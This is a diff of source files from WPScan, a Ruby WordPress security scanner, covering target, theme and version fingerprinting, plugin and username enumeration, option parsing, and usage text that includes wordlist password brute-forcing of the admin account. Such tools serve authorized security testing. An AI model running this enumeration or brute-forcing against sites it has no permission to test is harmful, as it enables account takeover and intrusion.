|
||||
# however can also be found in their specific plugin dir.
|
||||
# http://www.exploit-db.com/ghdb/3714/
|
||||
def error_log?
|
||||
Browser.instance.get(error_log_url()).body[%r{PHP Fatal error}i] ? true : false
|
||||
end
|
||||
|
||||
def error_log_url
|
||||
@location_uri.merge("error_log").to_s
|
||||
end
|
||||
|
||||
# Is directory listing enabled?
|
||||
# WordPress denies directory listing however,
|
||||
# forgets about the plugin directory.
|
||||
def directory_listing?
|
||||
Browser.instance.get(location_url()).body[%r{<title>Index of}] ? true : false
|
||||
end
|
||||
|
||||
def self.create_location_url_from_name(name, target_uri)
|
||||
if target_uri.is_a?(String)
|
||||
target_uri = URI.parse(target_uri)
|
||||
end
|
||||
target_uri.merge(URI.escape("$wp-plugins$/#{name}/")).to_s
|
||||
end
|
||||
|
||||
def self.create_url_from_raw(raw, target_uri)
|
||||
target_uri.merge(URI.escape("$wp-plugins$/#{raw}")).to_s
|
||||
end
|
||||
|
||||
protected
|
||||
def self.extract_name_from_location_url(location_url)
|
||||
location_url[@@location_url_pattern, 2]
|
||||
end
|
||||
|
||||
def self.location_uri_from_url(location_url)
|
||||
valid_location_url = location_url[%r{^(https?://.*/)[^.]+\.[^/]+$}, 1]
|
||||
|
||||
unless valid_location_url
|
||||
valid_location_url = add_trailing_slash(location_url)
|
||||
end
|
||||
|
||||
URI.parse(valid_location_url)
|
||||
end
|
||||
end
|
||||
108
lib/wpscan/wp_target.rb
Normal file
108
lib/wpscan/wp_target.rb
Normal file
@@ -0,0 +1,108 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class WpTarget
|
||||
include WebSite
|
||||
include WpReadme
|
||||
include WpFullPathDisclosure
|
||||
include WpConfigBackup
|
||||
include WpLoginProtection
|
||||
include Malwares
|
||||
include WpUsernames
|
||||
include WpTimthumbs
|
||||
include WpPlugins
|
||||
include BruteForce
|
||||
|
||||
@error_404_hash = nil
|
||||
|
||||
attr_reader :uri, :verbose
|
||||
|
||||
def initialize(target_url, options = {})
|
||||
raise "Empty URL" if !target_url
|
||||
|
||||
@uri = URI.parse(add_http_protocol(target_url))
|
||||
@verbose = options[:verbose]
|
||||
@wp_content_dir = options[:wp_content_dir]
|
||||
@wp_plugins_dir = options[:wp_plugins_dir]
|
||||
|
||||
Browser.instance(#options.merge(:max_threads => options[:threads]))
|
||||
:proxy => options[:proxy],
|
||||
:max_threads => options[:threads]
|
||||
)
|
||||
end
|
||||
|
||||
# Alias of @uri.to_s
|
||||
def url
|
||||
@uri.to_s
|
||||
end
|
||||
|
||||
def login_url
|
||||
url = @uri.merge("wp-login.php").to_s
|
||||
|
||||
# Let's check if the login url is redirected (to https url for example)
|
||||
if redirection = redirection(url)
|
||||
url = redirection
|
||||
end
|
||||
|
||||
url
|
||||
end
|
||||
|
||||
# Return the MD5 hash of a 404 page
|
||||
def error_404_hash
|
||||
unless @error_404_hash
|
||||
non_existant_page = Digest::MD5.hexdigest(rand(9999999999).to_s) + ".html"
|
||||
|
||||
response = Browser.instance.get(@uri.merge(non_existant_page).to_s)
|
||||
|
||||
@error_404_hash = Digest::MD5.hexdigest(response.body)
|
||||
end
|
||||
|
||||
@error_404_hash
|
||||
end
|
||||
|
||||
# return WpTheme
|
||||
def theme
|
||||
WpTheme.find(@uri)
|
||||
end
|
||||
|
||||
# return WpVersion
|
||||
def version
|
||||
WpVersion.find(@uri)
|
||||
end
|
||||
|
||||
def wp_content_dir
|
||||
unless @wp_content_dir
|
||||
index_body = Browser.instance.get(@uri.to_s).body
|
||||
|
||||
if index_body[%r{/wp-content/themes/}i]
|
||||
@wp_content_dir = "wp-content"
|
||||
else
|
||||
@wp_content_dir = index_body[%r{(?:href|src)=(?:"|')#{@uri}/?(.*)/themes/.*(?:"|')}i, 1]
|
||||
end
|
||||
end
|
||||
@wp_content_dir
|
||||
end
|
||||
|
||||
def wp_plugins_dir
|
||||
unless @wp_plugins_dir
|
||||
@wp_plugins_dir = wp_content_dir() + "/plugins"
|
||||
end
|
||||
@wp_plugins_dir
|
||||
end
|
||||
|
||||
end
|
||||
89
lib/wpscan/wp_theme.rb
Normal file
89
lib/wpscan/wp_theme.rb
Normal file
@@ -0,0 +1,89 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require "#{WPSCAN_LIB_DIR}/vulnerable"
|
||||
|
||||
class WpTheme < Vulnerable
|
||||
|
||||
attr_reader :name, :style_url, :version
|
||||
|
||||
def initialize(name, options = {})
|
||||
@name = name
|
||||
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/wp_theme_vulns.xml'
|
||||
@vulns_xpath = "//theme[@name='#{@name}']/vulnerability"
|
||||
@style_url = options[:style_url]
|
||||
@version = options[:version]
|
||||
end
|
||||
|
||||
def version
|
||||
unless @version
|
||||
if @style_url
|
||||
@version = Browser.instance.get(@style_url).body[%r{Version:\s([^\s]+)}i, 1]
|
||||
end
|
||||
end
|
||||
@version
|
||||
end
|
||||
|
||||
|
||||
def self.find(target_uri)
|
||||
self.methods.grep(/find_from_/).each do |method_to_call|
|
||||
theme = self.send(method_to_call, target_uri)
|
||||
|
||||
return theme if theme
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def to_s
|
||||
version = version()
|
||||
"#{@name}#{' v' + version if version}"
|
||||
end
|
||||
|
||||
def ===(wp_theme)
|
||||
wp_theme.name === @name and wp_theme.version === @version
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Discover the wordpress theme name by parsing the css link rel
|
||||
def self.find_from_css_link(target_uri)
|
||||
response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
|
||||
|
||||
if matches = %r{https?://.*/themes/(.*)/style.css}i.match(response.body)
|
||||
style_url = matches[0]
|
||||
theme_name = matches[1]
|
||||
|
||||
return new(theme_name, :style_url => style_url)
|
||||
end
|
||||
end
|
||||
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=141
|
||||
def self.find_from_wooframework(target_uri)
|
||||
body = Browser.instance.get(target_uri.to_s).body
|
||||
regexp = %r{<meta name="generator" content="([^\s"]+)\s?([^"]+)?" />\s+<meta name="generator" content="WooFramework\s?([^"]+)?" />}
|
||||
|
||||
if matches = regexp.match(body)
|
||||
woo_theme_name = matches[1]
|
||||
woo_theme_version = matches[2]
|
||||
woo_framework_version = matches[3] # Not used at this time
|
||||
|
||||
return new(woo_theme_name, :version => woo_theme_version)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
120
lib/wpscan/wp_version.rb
Normal file
120
lib/wpscan/wp_version.rb
Normal file
@@ -0,0 +1,120 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require "#{WPSCAN_LIB_DIR}/vulnerable"
|
||||
|
||||
class WpVersion < Vulnerable
|
||||
|
||||
attr_reader :number, :discovery_method
|
||||
|
||||
def initialize(number, options = {})
|
||||
@number = number
|
||||
@discovery_method = options[:discovery_method]
|
||||
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/wp_vulns.xml'
|
||||
@vulns_xpath = "//wordpress[@version='#{@number}']/vulnerability"
|
||||
end
|
||||
|
||||
# Will use all method self.find_from_* to try to detect the version
|
||||
# Once the version is found, it will return a WpVersion object
|
||||
# The method_name will be without 'find_from_' and '_' will be replace by ' ' (IE 'meta generator', 'rss generator' etc)
|
||||
# If the version is not found, nil is returned
|
||||
#
|
||||
# The order in which the find_from_* methods are is important, they will be called in the same order
|
||||
# (find_from_meta_generator, find_from_rss_generator etc)
|
||||
def self.find(target_uri)
|
||||
self.methods.grep(/find_from_/).each do |method_to_call|
|
||||
version = self.send(method_to_call, target_uri)
|
||||
|
||||
if version
|
||||
return new(version, :discovery_method => method_to_call[%r{find_from_(.*)}, 1].gsub('_', ' '))
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Attempts to find the wordpress version from,
|
||||
# the generator meta tag in the html source.
|
||||
#
|
||||
# The meta tag can be removed however it seems,
|
||||
# that it is reinstated on upgrade.
|
||||
def self.find_from_meta_generator(target_uri)
|
||||
response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
|
||||
|
||||
response.body[%r{name="generator" content="wordpress ([^"]+)"}i, 1]
|
||||
end
|
||||
|
||||
def self.find_from_rss_generator(target_uri)
|
||||
response = Browser.instance.get(target_uri.merge("feed/").to_s, :follow_location => true, :max_redirects => 2)
|
||||
|
||||
response.body[%r{<generator>http://wordpress.org/\?v=([^<]+)</generator>}i, 1]
|
||||
end
|
||||
|
||||
# Uses data/wp_versions.xml to try to identify a
|
||||
# wordpress version.
|
||||
#
|
||||
# It does this by using client side file hashing
|
||||
# with a scoring system.
|
||||
#
|
||||
# The scoring system is a number representing
|
||||
# the uniqueness of a client side file across
|
||||
# all versions of wordpress.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# Score - Hash - File - Versions
|
||||
# 1 - 3e63c08553696a1dedb24b22ef6783c3 - /wp-content/themes/twentyeleven/style.css - 3.2.1
|
||||
# 2 - 15fc925fd39bb496871e842b2a754c76 - /wp-includes/js/wp-lists.js - 2.6,2.5.1
|
||||
# 3 - 3f03bce84d1d2a169b4bf4d8a0126e38 - /wp-includes/js/autosave.js - 2.9.2,2.9.1,2.9
|
||||
#
|
||||
# /!\ Warning : this method might return false positive if the file used for fingerprinting is part of a theme (they can be updated)
|
||||
#
|
||||
def self.find_from_advanced_fingerprinting(target_uri)
|
||||
xml = Nokogiri::XML(File.open(DATA_DIR + '/wp_versions.xml')) do |config|
|
||||
config.noblanks
|
||||
end
|
||||
|
||||
xml.xpath("//file").each do |node|
|
||||
file_url = target_uri.merge(node.attribute('src').text).to_s
|
||||
response = Browser.instance.get(file_url)
|
||||
md5sum = Digest::MD5.hexdigest(response.body)
|
||||
|
||||
node.search('hash').each do |hash|
|
||||
if hash.attribute('md5').text == md5sum
|
||||
return hash.search('versions').text
|
||||
end
|
||||
end
|
||||
end
|
||||
nil # Otherwise the data['file'] is returned (issue #107)
|
||||
end
|
||||
|
||||
def self.find_from_readme(target_uri)
|
||||
Browser.instance.get(target_uri.merge("readme.html").to_s).body[%r{<br />\sversion #{WpVersion.version_pattern}}i, 1]
|
||||
end
|
||||
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=109
|
||||
def self.find_from_sitemap_generator(target_uri)
|
||||
Browser.instance.get(target_uri.merge("sitemap.xml").to_s).body[%r{generator="wordpress/#{WpVersion.version_pattern}"}, 1]
|
||||
end
|
||||
|
||||
# Used to check if the version is correct : should be numeric with at least one '.'
|
||||
def self.version_pattern
|
||||
'(.*(?=.)(?=.*\d)(?=.*[.]).*)'
|
||||
end
|
||||
end
|
||||
27
lib/wpscan/wp_vulnerability.rb
Normal file
27
lib/wpscan/wp_vulnerability.rb
Normal file
@@ -0,0 +1,27 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class WpVulnerability
|
||||
attr_accessor :title, :reference, :type
|
||||
|
||||
def initialize(title, reference, type)
|
||||
@title = title
|
||||
@reference = reference
|
||||
@type = type
|
||||
end
|
||||
end
|
||||
67
lib/wpscan/wpscan_helper.rb
Normal file
67
lib/wpscan/wpscan_helper.rb
Normal file
@@ -0,0 +1,67 @@
|
||||
require File.expand_path(File.dirname(__FILE__) + '/../common_helper')
|
||||
|
||||
require_files_from_directory(WPSCAN_LIB_DIR, "**/*.rb")
|
||||
|
||||
# wpscan usage
|
||||
def usage()
|
||||
script_name = $0
|
||||
puts "--help or -h for further help."
|
||||
puts
|
||||
puts "Examples :"
|
||||
puts
|
||||
puts "-Do 'non-intrusive' checks ..."
|
||||
puts "ruby #{script_name} --url www.example.com"
|
||||
puts
|
||||
puts "-Do wordlist password brute force on enumerated users using 50 threads ..."
|
||||
puts "ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --threads 50"
|
||||
puts
|
||||
puts "-Do wordlist password brute force on the 'admin' username only ..."
|
||||
puts "ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --username admin"
|
||||
puts
|
||||
puts "-Enumerate instaled plugins ..."
|
||||
puts "ruby #{script_name} --url www.example.com --enumerate p"
|
||||
puts
|
||||
puts "-Use a proxy ..."
|
||||
puts "ruby #{script_name} --url www.example.com --proxy 127.0.0.1:8118"
|
||||
puts
|
||||
puts "-Use custom content directory ..."
|
||||
puts "ruby #{script_name} -u www.example.com --wp-content-dir custom-content"
|
||||
puts
|
||||
puts "-Update ..."
|
||||
puts "ruby #{script_name} --update"
|
||||
puts
|
||||
puts "See README for further information."
|
||||
puts
|
||||
end
|
||||
|
||||
# command help
|
||||
def help()
|
||||
puts "Help :"
|
||||
puts
|
||||
puts "Some values are settable in conf/browser.conf.json :"
|
||||
puts " user-agent, proxy, threads, cache timeout and request timeout"
|
||||
puts
|
||||
puts "--update Update to the latest revision"
|
||||
puts "--url | -u <target url> The WordPress URL/domain to scan."
|
||||
puts "--force | -f Forces WPScan to not check if the remote site is running WordPress."
|
||||
puts "--enumerate | -e [option(s)] Enumeration."
|
||||
puts " option :"
|
||||
puts " u usernames from id 1 to 10"
|
||||
puts " u[10-20] usernames from id 10 to 20 (you must write [] chars)"
|
||||
puts " p plugins"
|
||||
puts " p! only vulnerable plugins"
|
||||
puts " t timthumbs"
|
||||
puts " Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins"
|
||||
puts " If no option is supplied, the default is 'tup!'"
|
||||
puts
|
||||
puts "--follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not"
|
||||
puts "--wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed"
|
||||
puts "--wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed"
|
||||
puts "--proxy Supply a proxy in the format host:port (will override the one from conf/browser.conf.json)"
|
||||
puts "--wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute."
|
||||
puts "--threads | -t <number of threads> The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)"
|
||||
puts "--username | -U <username> Only brute force the supplied username."
|
||||
puts "--help | -h This help screen."
|
||||
puts "--verbose | -v Verbose output."
|
||||
puts
|
||||
end
|
||||
204
lib/wpscan/wpscan_options.rb
Normal file
204
lib/wpscan/wpscan_options.rb
Normal file
@@ -0,0 +1,204 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class WpscanOptions
|
||||
|
||||
ACCESSOR_OPTIONS = [
|
||||
:enumerate_plugins,
|
||||
:enumerate_only_vulnerable_plugins,
|
||||
:enumerate_timthumbs,
|
||||
:enumerate_usernames,
|
||||
:enumerate_usernames_range,
|
||||
:proxy,
|
||||
:threads,
|
||||
:url,
|
||||
:wordlist,
|
||||
:force,
|
||||
:update,
|
||||
:verbose,
|
||||
:username,
|
||||
:password,
|
||||
:follow_redirection,
|
||||
:wp_content_dir,
|
||||
:wp_plugins_dir,
|
||||
:help
|
||||
]
|
||||
|
||||
attr_accessor *ACCESSOR_OPTIONS
|
||||
|
||||
def initialize
|
||||
|
||||
end
|
||||
|
||||
def url=(url)
|
||||
raise "Empty URL given" if !url
|
||||
|
||||
@url = URI.parse(add_http_protocol(url)).to_s
|
||||
end
|
||||
|
||||
def threads=(threads)
|
||||
@threads = threads.is_a?(Integer) ? threads : threads.to_i
|
||||
end
|
||||
|
||||
def wordlist=(wordlist)
|
||||
if File.exists?(wordlist)
|
||||
@wordlist = wordlist
|
||||
else
|
||||
raise "The file #{wordlist} does not exist"
|
||||
end
|
||||
end
|
||||
|
||||
def proxy=(proxy)
|
||||
if proxy.index(':') == nil
|
||||
raise "Invalid proxy format. Should be host:port."
|
||||
else
|
||||
@proxy = proxy
|
||||
end
|
||||
end
|
||||
|
||||
def enumerate_plugins=(enumerate_plugins)
|
||||
if enumerate_plugins === true and @enumerate_only_vulnerable_plugins === true
|
||||
raise "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one"
|
||||
else
|
||||
@enumerate_plugins = enumerate_plugins
|
||||
end
|
||||
end
|
||||
|
||||
def enumerate_only_vulnerable_plugins=(enumerate_only_vulnerable_plugins)
|
||||
if enumerate_only_vulnerable_plugins === true and @enumerate_plugins === true
|
||||
raise "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one"
|
||||
else
|
||||
@enumerate_only_vulnerable_plugins = enumerate_only_vulnerable_plugins
|
||||
end
|
||||
end
|
||||
|
||||
def has_options?
|
||||
!to_h.empty?
|
||||
end
|
||||
|
||||
# return Hash
|
||||
def to_h
|
||||
options = {}
|
||||
|
||||
ACCESSOR_OPTIONS.each do |option|
|
||||
instance_variable = instance_variable_get("@#{option}")
|
||||
|
||||
unless instance_variable.nil?
|
||||
options[:"#{option}"] = instance_variable
|
||||
end
|
||||
end
|
||||
options
|
||||
end
|
||||
|
||||
# Will load the options from ARGV
|
||||
# return WpscanOptions
|
||||
def self.load_from_arguments
|
||||
wpscan_options = WpscanOptions.new
|
||||
|
||||
if ARGV.length > 0
|
||||
WpscanOptions.get_opt_long.each do |opt, arg|
|
||||
wpscan_options.set_option_from_cli(opt, arg)
|
||||
end
|
||||
end
|
||||
|
||||
wpscan_options
|
||||
end
|
||||
|
||||
# string cli_option : --url, -u, --proxy etc
|
||||
# string cli_value : the option value
|
||||
def set_option_from_cli(cli_option, cli_value)
|
||||
|
||||
if WpscanOptions.is_long_option?(cli_option)
|
||||
self.send(
|
||||
WpscanOptions.option_to_instance_variable_setter(cli_option),
|
||||
cli_value
|
||||
)
|
||||
elsif cli_option === "--enumerate" # Special cases
|
||||
# Default value if no argument is given
|
||||
cli_value = "tup!" if cli_value.length == 0
|
||||
|
||||
enumerate_options_from_string(cli_value)
|
||||
else
|
||||
raise "Unknow option : #{cli_option} with value #{cli_value}"
|
||||
end
|
||||
end
|
||||
|
||||
# Will set enumerate_* from the string value
|
||||
# IE : if value = p! => :enumerate_only_vulnerable_plugins will be set to true
|
||||
# multiple enumeration are possible : 'up' => :enumerate_usernames and :enumerate_plugins
|
||||
# Special case for usernames, a range is possible : u[1-10] will enumerate usernames from 1 to 10
|
||||
def enumerate_options_from_string(value)
|
||||
# Usage of self is mandatory because there are overridden setters
|
||||
self.enumerate_only_vulnerable_plugins = true if value =~ /p!/
|
||||
|
||||
self.enumerate_plugins = true if value =~ /p(?!!)/
|
||||
|
||||
@enumerate_timthumbs = true if value =~ /t/
|
||||
|
||||
if value =~ /u/
|
||||
@enumerate_usernames = true
|
||||
# Check for usernames range
|
||||
if matches = %r{\[([\d]+)-([\d]+)\]}.match(value)
|
||||
@enumerate_usernames_range = (matches[1].to_i..matches[2].to_i)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
protected
|
||||
# Even if a short option is given (IE : -u), the long one will be returned (IE : --url)
|
||||
def self.get_opt_long
|
||||
GetoptLong.new(
|
||||
["--url", "-u", GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--enumerate", "-e", GetoptLong::OPTIONAL_ARGUMENT],
|
||||
["--username", "-U", GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--wordlist", "-w", GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--threads", "-t",GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--force", "-f",GetoptLong::NO_ARGUMENT],
|
||||
["--help", "-h", GetoptLong::NO_ARGUMENT],
|
||||
["--verbose", "-v", GetoptLong::NO_ARGUMENT] ,
|
||||
["--proxy", GetoptLong::OPTIONAL_ARGUMENT],
|
||||
["--update", GetoptLong::NO_ARGUMENT],
|
||||
["--follow-redirection", GetoptLong::NO_ARGUMENT],
|
||||
["--wp-content-dir", GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--wp-plugins-dir", GetoptLong::REQUIRED_ARGUMENT]
|
||||
)
|
||||
end
|
||||
|
||||
def self.is_long_option?(option)
|
||||
ACCESSOR_OPTIONS.include?(:"#{WpscanOptions.clean_option(option)}")
|
||||
end
|
||||
|
||||
# Will removed the '-' or '--' chars at the beginning of option
|
||||
# and replace any remaining '-' by '_'
|
||||
#
|
||||
# param string option
|
||||
# return string
|
||||
def self.clean_option(option)
|
||||
cleaned_option = option.gsub(/^--?/, '')
|
||||
cleaned_option.gsub(/-/, '_')
|
||||
end
|
||||
|
||||
def self.option_to_instance_variable_setter(option)
|
||||
cleaned_option = WpscanOptions.clean_option(option)
|
||||
option_syms = ACCESSOR_OPTIONS.grep(%r{^#{cleaned_option}})
|
||||
|
||||
option_syms.length == 1 ? :"#{option_syms.at(0)}=" : nil
|
||||
end
|
||||
|
||||
end
|
||||
128
lib/wpstools/generate_plugin_list.rb
Normal file
128
lib/wpstools/generate_plugin_list.rb
Normal file
@@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
# This tool generates a plugin list to use for plugin enumeration
|
||||
|
||||
class Generate_Plugin_List
|
||||
|
||||
attr_accessor :pages, :verbose
|
||||
|
||||
def initialize(pages, verbose)
|
||||
@pages = pages.to_i
|
||||
@verbose = verbose
|
||||
@browser = Browser.instance
|
||||
@hydra = @browser.hydra
|
||||
end
|
||||
|
||||
# Send a HTTP request to the WordPress most popular plugins webpage
|
||||
# parse the response for the plugin names.
|
||||
|
||||
def parse_plugins
|
||||
|
||||
found_plugins = []
|
||||
page_count = 1
|
||||
queue_count = 0
|
||||
|
||||
(1...@pages).each do |page|
|
||||
|
||||
request = @browser.forge_request('http://wordpress.org/extend/plugins/browse/popular/page/'+page.to_s+'/')
|
||||
|
||||
queue_count += 1
|
||||
|
||||
request.on_complete do |response|
|
||||
puts "[+] Parsing page " + page_count.to_s if @verbose
|
||||
page_count += 1
|
||||
response.body.scan(%r{<h3><a href="http://wordpress.org/extend/plugins/(.*)/">.+</a></h3>}i).each do |plugin|
|
||||
found_plugins << plugin[0]
|
||||
end
|
||||
end
|
||||
|
||||
@hydra.queue(request)
|
||||
|
||||
if queue_count == @browser.max_threads
|
||||
@hydra.run
|
||||
queue_count = 0
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@hydra.run
|
||||
|
||||
found_plugins.uniq
|
||||
end
|
||||
|
||||
# Use the WordPress plugin SVN repo to find a
|
||||
# valid plugin file. This will cut down on
|
||||
# false positives. See issue 39.
|
||||
|
||||
def parse_plugin_files(plugins)
|
||||
|
||||
plugins_with_paths = ""
|
||||
queue_count = 0
|
||||
|
||||
plugins.each do |plugin|
|
||||
|
||||
request = @browser.forge_request('http://plugins.svn.wordpress.org/' + plugin + '/trunk/')
|
||||
|
||||
request.on_complete do |response|
|
||||
|
||||
puts "[+] Parsing plugin " + plugin + " [" + response.code.to_s + "]" if @verbose
|
||||
file = response.body[%r{<li><a href="(\d*?[a-zA-Z].*\..*)">.+</a></li>}i, 1]
|
||||
if file
|
||||
plugin += "/" + file
|
||||
end
|
||||
|
||||
plugins_with_paths << plugin + "\n"
|
||||
end
|
||||
|
||||
queue_count += 1
|
||||
@hydra.queue(request)
|
||||
|
||||
# the wordpress server stops
|
||||
# responding if we dont use this.
|
||||
if queue_count == @browser.max_threads
|
||||
@hydra.run
|
||||
queue_count = 0
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@hydra.run
|
||||
|
||||
plugins_with_paths
|
||||
end
|
||||
|
||||
# Save the file
|
||||
|
||||
def save_file
|
||||
begin
|
||||
plugins = parse_plugins
|
||||
puts "[*] We have parsed " + plugins.size.to_s
|
||||
plugins_with_paths = parse_plugin_files(plugins)
|
||||
File.open(DATA_DIR + '/plugins.txt', 'w') { |f| f.write(plugins_with_paths) }
|
||||
puts "New data/plugin.txt file created with " + plugins_with_paths.scan(/\n/).size.to_s + " entries."
|
||||
rescue => e
|
||||
puts "ERROR: Something went wrong :( " + e.inspect
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
28
lib/wpstools/wpstools_helper.rb
Normal file
28
lib/wpstools/wpstools_helper.rb
Normal file
@@ -0,0 +1,28 @@
|
||||
require File.expand_path(File.dirname(__FILE__) + '/../common_helper')
|
||||
|
||||
require_files_from_directory(WPSTOOLS_LIB_DIR)
|
||||
|
||||
def usage()
|
||||
script_name = $0
|
||||
puts
|
||||
puts "-h for further help."
|
||||
puts
|
||||
puts "Examples:"
|
||||
puts
|
||||
puts "- Generate a new 'most popular' plugin list, up to 150 pages ..."
|
||||
puts "ruby " + script_name + " --generate_plugin_list 150"
|
||||
puts
|
||||
puts "See README for further information."
|
||||
puts
|
||||
end
|
||||
|
||||
def help()
|
||||
puts "Help :"
|
||||
puts
|
||||
puts "--help | -h This help screen."
|
||||
puts "--Verbose | -v Verbose output."
|
||||
puts "--update | -u Update to the latest revision."
|
||||
puts "--generate_plugin_list [number of pages] Generate a new data/plugins.txt file. (supply number of *pages* to parse, default : 150)"
|
||||
puts "--gpl Alias for --generate_plugin_list"
|
||||
puts
|
||||
end
|
||||
Reference in New Issue
Block a user